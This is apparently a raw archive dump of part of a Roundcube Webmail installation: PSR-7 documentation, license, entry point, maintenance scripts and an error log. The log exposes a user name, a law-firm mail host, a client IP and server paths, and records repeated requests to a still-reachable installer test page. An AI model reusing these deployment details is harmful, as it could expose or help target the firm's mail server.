|------------------------------------| ----------- | ----- |
| `getRequestTarget()`                | Retrieves the message's request target              | origin-form, absolute-form, authority-form, asterisk-form ([RFC7230](https://www.rfc-editor.org/rfc/rfc7230.txt)) |
| `withRequestTarget($requestTarget)` | Return a new message instance with the specific request-target |      |
| `getMethod()`                       | Retrieves the HTTP method of the request.  |  GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE (defined in [RFC7231](https://tools.ietf.org/html/rfc7231)), PATCH (defined in [RFC5789](https://tools.ietf.org/html/rfc5789)) |
| `withMethod($method)`               | Returns a new message instance with the provided HTTP method  | |
| `getUri()`                 | Retrieves the URI instance | |
| `withUri(UriInterface $uri, $preserveHost = false)` | Returns a new message instance with the provided URI |  |


## `Psr\Http\Message\ServerRequestInterface` Methods

Same methods as `Psr\Http\Message\RequestInterface`  + the following methods:

| Method Name                        | Description | Notes |
|------------------------------------| ----------- | ----- |
| `getServerParams() `               | Retrieve server parameters  | Typically derived from `$_SERVER`  |
| `getCookieParams()`                | Retrieves cookies sent by the client to the server. | Typically derived from `$_COOKIES` |
| `withCookieParams(array $cookies)` |  Returns a new request instance with the specified cookies      |   | 
| `withQueryParams(array $query)` | Returns a new request instance with the specified query string arguments  |  |
| `getUploadedFiles()` | Retrieve normalized file upload data  |  |
| `withUploadedFiles(array $uploadedFiles)` | Returns a new request instance with the specified uploaded files  |  |
| `getParsedBody()` | Retrieve any parameters provided in the request body  |  |
| `withParsedBody($data)` | Returns a new request instance with the specified body parameters  |  |
| `getAttributes()` | Retrieve attributes derived from the request  |  |
| `getAttribute($name, $default = null)` | Retrieve a single derived request attribute  |  |
| `withAttribute($name, $value)` | Returns a new request instance with the specified derived request attribute  |  |
| `withoutAttribute($name)` | Returns a new request instance that without the specified derived request attribute  |  |

## `Psr\Http\Message\ResponseInterface` Methods:

Same methods as `Psr\Http\Message\MessageInterface`  + the following methods:

| Method Name                        | Description | Notes |
|------------------------------------| ----------- | ----- |
| `getStatusCode()` | Gets the response status code. | |
| `withStatus($code, $reasonPhrase = '')` | Returns a new response instance with the specified status code and, optionally, reason phrase. | |
| `getReasonPhrase()` | Gets the response reason phrase associated with the status code. | |

##  `Psr\Http\Message\StreamInterface` Methods

| Method Name                        | Description | Notes |
|------------------------------------| ----------- | ----- |
| `__toString()` | Reads all data from the stream into a string, from the beginning to end. | |
| `close()` | Closes the stream and any underlying resources. | |
| `detach()` | Separates any underlying resources from the stream. | |
| `getSize()` | Get the size of the stream if known. | |
| `eof()` | Returns true if the stream is at the end of the stream.| |
| `isSeekable()` |  Returns whether or not the stream is seekable. | |
| `seek($offset, $whence = SEEK_SET)` | Seek to a position in the stream. | |
| `rewind()` | Seek to the beginning of the stream. | |
| `isWritable()` | Returns whether or not the stream is writable. | |
| `write($string)` | Write data to the stream. | |
| `isReadable()` | Returns whether or not the stream is readable. | |
| `read($length)` | Read data from the stream. | |
| `getContents()` | Returns the remaining contents in a string | |
| `getMetadata($key = null)()` | Get stream metadata as an associative array or retrieve a specific key. | |

## `Psr\Http\Message\UriInterface` Methods

| Method Name                        | Description | Notes |
|------------------------------------| ----------- | ----- |
| `getScheme()` | Retrieve the scheme component of the URI. | |
| `getAuthority()` | Retrieve the authority component of the URI. | |
| `getUserInfo()` | Retrieve the user information component of the URI. | |
| `getHost()` | Retrieve the host component of the URI. | |
| `getPort()` | Retrieve the port component of the URI. | |
| `getPath()` | Retrieve the path component of the URI. | |
| `getQuery()` | Retrieve the query string of the URI. | |
| `getFragment()` | Retrieve the fragment component of the URI. | |
| `withScheme($scheme)` | Return an instance with the specified scheme. | |
| `withUserInfo($user, $password = null)` | Return an instance with the specified user information. | |
| `withHost($host)` | Return an instance with the specified host. | |
| `withPort($port)` | Return an instance with the specified port. | |
| `withPath($path)` | Return an instance with the specified path. | |
| `withQuery($query)` | Return an instance with the specified query string. | |
| `withFragment($fragment)` | Return an instance with the specified URI fragment. | |
| `__toString()` | Return the string representation as a URI reference. | |

## `Psr\Http\Message\UploadedFileInterface` Methods

| Method Name                        | Description | Notes |
|------------------------------------| ----------- | ----- |
| `getStream()` | Retrieve a stream representing the uploaded file. | |
| `moveTo($targetPath)` | Move the uploaded file to a new location. | |
| `getSize()` | Retrieve the file size. | |
| `getError()` | Retrieve the error associated with the uploaded file. | |
| `getClientFilename()` | Retrieve the filename sent by the client. | |
| `getClientMediaType()` | Retrieve the media type sent by the client. | |

> `RequestInterface`, `ServerRequestInterface`, `ResponseInterface` extend `MessageInterface`  because the `Request` and the `Response` are `HTTP Messages`.
> When using `ServerRequestInterface`, both `RequestInterface` and `Psr\Http\Message\MessageInterface` methods are considered.

PK
h�\z �Xtt*vendor/psr/http-message/docs/PSR7-Usage.mdnu�[���### PSR-7 Usage

All PSR-7 applications comply with these interfaces 
They were created to establish a standard between middleware implementations.

> `RequestInterface`, `ServerRequestInterface`, `ResponseInterface` extend `MessageInterface`  because the `Request` and the `Response` are `HTTP Messages`.
> When using `ServerRequestInterface`, both `RequestInterface` and `Psr\Http\Message\MessageInterface` methods are considered.


The following examples will illustrate how basic operations are done in PSR-7.

##### Examples


For this examples to work (at least) a PSR-7 implementation package is required. (eg: zendframework/zend-diactoros, guzzlehttp/psr7, slim/slim, etc)
All PSR-7 implementations should have the same behaviour.

The following will be assumed: 
`$request` is an object of `Psr\Http\Message\RequestInterface` and

`$response` is an object implementing `Psr\Http\Message\RequestInterface`


### Working with HTTP Headers

#### Adding headers to response:

```php
$response->withHeader('My-Custom-Header', 'My Custom Message');
```

#### Appending values to headers

```php
$response->withAddedHeader('My-Custom-Header', 'The second message');
```

#### Checking if header exists:

```php
$request->hasHeader('My-Custom-Header'); // will return false
$response->hasHeader('My-Custom-Header'); // will return true
```

> Note: My-Custom-Header was only added in the Response

#### Getting comma-separated values from a header (also applies to request)

```php
// getting value from request headers
$request->getHeaderLine('Content-Type'); // will return: "text/html; charset=UTF-8"
// getting value from response headers
$response->getHeaderLine('My-Custom-Header'); // will return:  "My Custom Message; The second message"
```

#### Getting array of value from a header (also applies to request)
```php
// getting value from request headers
$request->getHeader('Content-Type'); // will return: ["text/html", "charset=UTF-8"]
// getting value from response headers
$response->getHeader('My-Custom-Header'); // will return:  ["My Custom Message",  "The second message"]
```

#### Removing headers from HTTP Messages
```php
// removing a header from Request, removing deprecated "Content-MD5" header
$request->withoutHeader('Content-MD5'); 

// removing a header from Response
// effect: the browser won't know the size of the stream
// the browser will download the stream till it ends
$response->withoutHeader('Content-Length');
```

### Working with HTTP Message Body

When working with the PSR-7 there are two methods of implementation:
#### 1. Getting the body separately

> This method makes the body handling easier to understand and is useful when repeatedly calling body methods. (You only call `getBody()` once). Using this method mistakes like `$response->write()` are also prevented.

```php
$body = $response->getBody();
// operations on body, eg. read, write, seek
// ...
// replacing the old body
$response->withBody($body); 
// this last statement is optional as we working with objects
// in this case the "new" body is same with the "old" one
// the $body variable has the same value as the one in $request, only the reference is passed
```

#### 2. Working directly on response

> This method is useful when only performing few operations as the `$request->getBody()` statement fragment is required

```php
$response->getBody()->write('hello');
```

### Getting the body contents

The following snippet gets the contents of a stream contents.
> Note: Streams must be rewinded, if content was written into streams, it will be ignored when calling `getContents()` because the stream pointer is set to the last character, which is `\0` - meaning end of stream.
```php 
$body = $response->getBody();
$body->rewind(); // or $body->seek(0);
$bodyText = $body->getContents();
```
> Note: If `$body->seek(1)` is called before `$body->getContents()`, the first character will be ommited as the starting pointer is set to `1`, not `0`. This is why using `$body->rewind()` is recommended.

### Append to body

```php
$response->getBody()->write('Hello'); // writing directly
$body = $request->getBody(); // which is a `StreamInterface`
$body->write('xxxxx');
```

### Prepend to body
Prepending is different when it comes to streams. The content must be copied before writing the content to be prepended.
The following example will explain the behaviour of streams.

```php
// assuming our response is initially empty
$body = $repsonse->getBody();
// writing the string "abcd"
$body->write('abcd');

// seeking to start of stream
$body->seek(0);
// writing 'ef'
$body->write('ef'); // at this point the stream contains "efcd"
```

#### Prepending by rewriting separately

```php
// assuming our response body stream only contains: "abcd"
$body = $response->getBody();
$body->rewind();
$contents = $body->getContents(); // abcd
// seeking the stream to beginning
$body->rewind();
$body->write('ef'); // stream contains "efcd"
$body->write($contents); // stream contains "efabcd"
```

> Note: `getContents()` seeks the stream while reading it, therefore if the second `rewind()` method call was not present the stream would have resulted in `abcdefabcd` because the `write()` method appends to stream if not preceeded by `rewind()` or `seek(0)`.

#### Prepending by using contents as a string
```php
$body = $response->getBody();
$body->rewind();
$contents = $body->getContents(); // efabcd
$contents = 'ef'.$contents;
$body->rewind();
$body->write($contents);
```
PK
h�\�:\Y33$vendor/psr/http-message/CHANGELOG.mdnu�[���# Changelog

All notable changes to this project will be documented in this file, in reverse chronological order by release.

## 1.0.1 - 2016-08-06

### Added

- Nothing.

### Deprecated

- Nothing.

### Removed

- Nothing.

### Fixed

- Updated all `@return self` annotation references in interfaces to use
  `@return static`, which more closelly follows the semantics of the
  specification.
- Updated the `MessageInterface::getHeaders()` return annotation to use the
  value `string[][]`, indicating the format is a nested array of strings.
- Updated the `@link` annotation for `RequestInterface::withRequestTarget()`
  to point to the correct section of RFC 7230.
- Updated the `ServerRequestInterface::withUploadedFiles()` parameter annotation
  to add the parameter name (`$uploadedFiles`).
- Updated a `@throws` annotation for the `UploadedFileInterface::moveTo()`
  method to correctly reference the method parameter (it was referencing an
  incorrect parameter name previously).

## 1.0.0 - 2016-05-18

Initial stable release; reflects accepted PSR-7 specification.
PK
h�\���==vendor/psr/http-message/LICENSEnu�[���Copyright (c) 2014 PHP Framework Interoperability Group

Permission is hereby granted, free of charge, to any person obtaining a copy 
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights 
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 
copies of the Software, and to permit persons to whom the Software is 
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in 
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
PK
h�\�����!vendor/psr/http-message/README.mdnu�[���PSR Http Message
================

This repository holds all interfaces/classes/traits related to
[PSR-7](http://www.php-fig.org/psr/psr-7/).

Note that this is not a HTTP message implementation of its own. It is merely an
interface that describes a HTTP message. See the specification for more details.

Usage
-----

Before reading the usage guide we recommend reading the PSR-7 interfaces method list:

* [`PSR-7 Interfaces Method List`](docs/PSR7-Interfaces.md)
* [`PSR-7 Usage Guide`](docs/PSR7-Usage.md)PK
h�\pluginsnuȯ��PK
h�\skinsnuȯ��PK
h�\x�N��public_html/index.phpnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Roundcube Webmail IMAP Client                                         |
 | Version 1.6.7                                                       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   This is the public entry point for all HTTP requests to the         |
 |   Roundcube webmail application.                                      |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/');

// include index.php from application root directory
include INSTALL_PATH . 'index.php';
PK
h�\
program/jsnuȯ��PK
h�\program/resourcesnuȯ��PK
h�\�i�B��logs/.htaccessnuȯ��# deny webserver access to this directory
<ifModule mod_authz_core.c>
    Require all denied
</ifModule>
<ifModule !mod_authz_core.c>
    Deny from all
</ifModule>
PK
h�\�2י�$�$logs/errors.lognuȯ��[20-Oct-2023 18:43:59 -0400]: <pkb490mn> IMAP Error: Login failed for kat against imap.lnzlegalfirm.ca from 174.94.66.181 (X-Forwarded-For: 174.94.66.181). Could not connect to ssl://imap.lnzlegalfirm.ca:143: Unknown reason in /home/lnzliplg/public_html/roundcube/program/lib/Roundcube/rcube_imap.php on line 211 (POST /roundcube/?_task=login&_action=login)
[20-Oct-2023 18:44:04 -0400]: <pkb490mn> IMAP Error: Login failed for kat against imap.lnzlegalfirm.ca from 174.94.66.181 (X-Forwarded-For: 174.94.66.181). Could not connect to ssl://imap.lnzlegalfirm.ca:143: Unknown reason in /home/lnzliplg/public_html/roundcube/program/lib/Roundcube/rcube_imap.php on line 211 (POST /roundcube/?_task=login&_action=login)
[08-Oct-2025 20:57:10 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[10-Dec-2025 21:48:13 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[14-Jan-2026 03:05:45 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[14-Jan-2026 04:59:48 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[27-Jan-2026 12:40:58 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[02-Feb-2026 05:15:24 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[02-Feb-2026 09:47:45 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[03-Feb-2026 06:51:26 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[05-Feb-2026 11:04:55 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[08-Feb-2026 04:04:50 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[11-Feb-2026 14:37:23 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[11-Feb-2026 18:18:27 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[13-Feb-2026 07:12:41 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[11-Mar-2026 03:53:04 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[17-Mar-2026 11:08:59 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[15-Apr-2026 04:57:20 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[18-Apr-2026 05:01:50 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
[24-Apr-2026 10:33:10 UTC] PHP Fatal error:  Uncaught Error: Class "rcmail_utils" not found in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php:502
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/installer/test.php(180): rcmail_install->db_schema_check()
#1 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#2 {main}
  thrown in /home/lnzliplg/public_html/roundcube/program/include/rcmail_install.php on line 502
PK
h�\�#b\\bin/msgexport.shnu�[���#!/usr/bin/env php
<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <thomas@roundcube.net>                       |
 +-----------------------------------------------------------------------+
*/

define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/' );
ini_set('memory_limit', -1);

require_once INSTALL_PATH.'program/include/clisetup.php';

function print_usage()
{
    print "Usage: msgexport.sh -h imap-host -u user-name -m mailbox name\n";
    print "--host   IMAP host\n";
    print "--user   IMAP user name\n";
    print "--mbox   Folder name, set to '*' for all\n";
    print "--file   Output file\n";
}

function vputs($str)
{
    $out = !empty($GLOBALS['args']['file']) ? STDOUT : STDERR;
    fwrite($out, $str);
}

function progress_update($pos, $max)
{
    $percent = round(100 * $pos / $max);
    vputs(sprintf("%3d%% [%-51s] %d/%d\033[K\r", $percent, @str_repeat('=', $percent / 2) . '>', $pos, $max));
}

function export_mailbox($mbox, $filename)
{
    global $IMAP;

    $IMAP->set_folder($mbox);

    vputs("Getting message list of {$mbox}...");

    $index = $IMAP->index($mbox, null, 'ASC');
    $count = $index->count();
    $index = $index->get();

    vputs("$count messages\n");

    if ($filename) {
        if (!($out = fopen($filename, 'w'))) {
            vputs("Cannot write to output file\n");
            return;
        }
        vputs("Writing to $filename\n");
    }
    else {
        $out = STDOUT;
    }

    for ($i = 0; $i < $count; $i++) {
        $headers = $IMAP->get_message_headers($index[$i]);
        $from = current(rcube_mime::decode_address_list($headers->from, 1, false));

        fwrite($out, sprintf("From %s %s UID %d\n", $from['mailto'], $headers->date, $headers->uid));
        $IMAP->get_raw_body($headers->uid, $out);
        fwrite($out, "\n\n\n");

        progress_update($i+1, $count);
    }
    vputs("\ncomplete.\n");

    if ($filename) {
        fclose($out);
    }
}

// get arguments
$opts = ['h' => 'host', 'u' => 'user', 'p' => 'pass', 'm' => 'mbox', 'f' => 'file'];
$args = rcube_utils::get_opt($opts) + ['host' => 'localhost', 'mbox' => 'INBOX'];

if (!isset($_SERVER['argv'][1]) || $_SERVER['argv'][1] == 'help') {
    print_usage();
    exit;
}
else if (!$args['host']) {
    vputs("Missing required parameters.\n");
    print_usage();
    exit;
}

// prompt for username if not set
if (empty($args['user'])) {
    vputs("IMAP user: ");
    $args['user'] = trim(fgets(STDIN));
}

// prompt for password
$args['pass'] = rcube_utils::prompt_silent("Password: ");


// parse $host URL
$a_host = parse_url($args['host']);
if (!empty($a_host['host'])) {
    $host      = $a_host['host'];
    $imap_ssl  = (isset($a_host['scheme']) && in_array($a_host['scheme'], ['ssl','imaps','tls'])) ? TRUE : FALSE;
    $imap_port = isset($a_host['port']) ? $a_host['port'] : ($imap_ssl ? 993 : 143);
}
else {
    $host      = $args['host'];
    $imap_port = 143;
    $imap_ssl  = false;
}

// instantiate IMAP class
$IMAP = new rcube_imap(null);

// try to connect to IMAP server
if ($IMAP->connect($host, $args['user'], $args['pass'], $imap_port, $imap_ssl)) {
    vputs("IMAP login successful.\n");

    $filename  = null;
    $mailboxes = $args['mbox'] == '*' ? $IMAP->list_folders(null) : [$args['mbox']];

    foreach ($mailboxes as $mbox) {
        if (!empty($args['file'])) {
            $filename = preg_replace('/\.[a-z0-9]{3,4}$/i', '', $args['file']) . asciiwords($mbox) . '.mbox';
        }
        else if ($args['mbox'] == '*') {
            $filename = asciiwords($mbox) . '.mbox';
        }

        if ($args['mbox'] == '*' && in_array(strtolower($mbox), ['junk','spam','trash'])) {
            continue;
        }

        export_mailbox($mbox, $filename);
    }
}
else {
    vputs("IMAP login failed.\n");
}
PK
h�\�]7v��bin/msgimport.shnu�[���#!/usr/bin/env php
<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <thomas@roundcube.net>                       |
 +-----------------------------------------------------------------------+
*/

define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/' );
ini_set('memory_limit', -1);

require_once INSTALL_PATH.'program/include/clisetup.php';

function print_usage()
{
    print "Usage: msgimport.sh -h imap-host -u user-name -m mailbox -f message-file\n";
    print "--host   IMAP host\n";
    print "--user   IMAP user name\n";
    print "--mbox   Target mailbox\n";
    print "--file   Message file to upload\n";
}

// get arguments
$opts = ['h' => 'host', 'u' => 'user', 'p' => 'pass', 'm' => 'mbox', 'f' => 'file'];
$args = rcube_utils::get_opt($opts) + ['host' => 'localhost', 'mbox' => 'INBOX'];

if (!isset($_SERVER['argv'][1]) || $_SERVER['argv'][1] == 'help') {
    print_usage();
    exit;
}
else if (empty($args['host']) || empty($args['file'])) {
    print "Missing required parameters.\n";
    print_usage();
    exit;
}
else if (!is_file($args['file'])) {
    rcube::raise_error("Cannot read message file.", false, true);
}

// prompt for username if not set
if (empty($args['user'])) {
    //fwrite(STDOUT, "Please enter your name\n");
    echo "IMAP user: ";
    $args['user'] = trim(fgets(STDIN));
}

// prompt for password
if (empty($args['pass'])) {
    $args['pass'] = rcube_utils::prompt_silent("Password: ");
}

// parse $host URL
$a_host = parse_url($args['host']);
if (!empty($a_host['host'])) {
    $host      = $a_host['host'];
    $imap_ssl  = (isset($a_host['scheme']) && in_array($a_host['scheme'], ['ssl','imaps','tls'])) ? TRUE : FALSE;
    $imap_port = isset($a_host['port']) ? $a_host['port'] : ($imap_ssl ? 993 : 143);
}
else {
    $host      = $args['host'];
    $imap_port = 143;
    $imap_ssl  = false;
}

// instantiate IMAP class
$IMAP = new rcube_imap(null);

// try to connect to IMAP server
if ($IMAP->connect($host, $args['user'], $args['pass'], $imap_port, $imap_ssl)) {
    print "IMAP login successful.\n";
    print "Uploading messages...\n";

    $count   = 0;
    $message = $lastline = '';

    $fp = fopen($args['file'], 'r');
    while (($line = fgets($fp)) !== false) {
        if (preg_match('/^From\s+-/', $line) && $lastline == '') {
            if (!empty($message)) {
                if ($IMAP->save_message($args['mbox'], rtrim($message))) {
                    $count++;
                }
                else {
                    rcube::raise_error("Failed to save message to {$args['mbox']}", false, true);
                }
                $message = '';
            }
            continue;
        }

        $message .= $line;
        $lastline = rtrim($line);
    }

    if (!empty($message) && $IMAP->save_message($args['mbox'], rtrim($message))) {
        $count++;
    }

    // upload message from file
    if ($count) {
        print "$count messages successfully added to {$args['mbox']}.\n";
    }
    else {
        print "Adding messages failed!\n";
    }
}
else {
    rcube::raise_error("IMAP login failed.", false, true);
}
PK
h�\�H/bin/makedoc.shnu�[���#!/bin/sh

set -x

BIN_PHPDOC=`/usr/bin/which phpdoc`

if [ ! -x "$BIN_PHPDOC" ]
then
  echo "phpdoc not found"
  exit 1
fi

INSTALL_PATH="`dirname $0`/.."
PATH_PROJECT=$INSTALL_PATH/program/include
PATH_FRAMEWORK=$INSTALL_PATH/program/lib/Roundcube
PATH_DOCS=$INSTALL_PATH/doc/phpdoc
TITLE="Roundcube Webmail"
PACKAGES="Webmail"
OUTPUTFORMAT=HTML
TEMPLATE=responsive-twig

# make documentation
$BIN_PHPDOC -d $PATH_PROJECT,$PATH_FRAMEWORK -t $PATH_DOCS --title "$TITLE" \
    --defaultpackagename $PACKAGES --template=$TEMPLATE
PK
h�\zi�=�2�2
bin/update.shnu�[���#!/usr/bin/env php
<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Check local configuration and database schema after upgrading       |
 |   to a new version                                                    |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

define('INSTALL_PATH', realpath(__DIR__ . '/..') . '/' );

require_once INSTALL_PATH . 'program/include/clisetup.php';

// get arguments
$opts = rcube_utils::get_opt(['v' => 'version', 'y' => 'accept:bool']);

// ask user if no version is specified
if (empty($opts['version'])) {
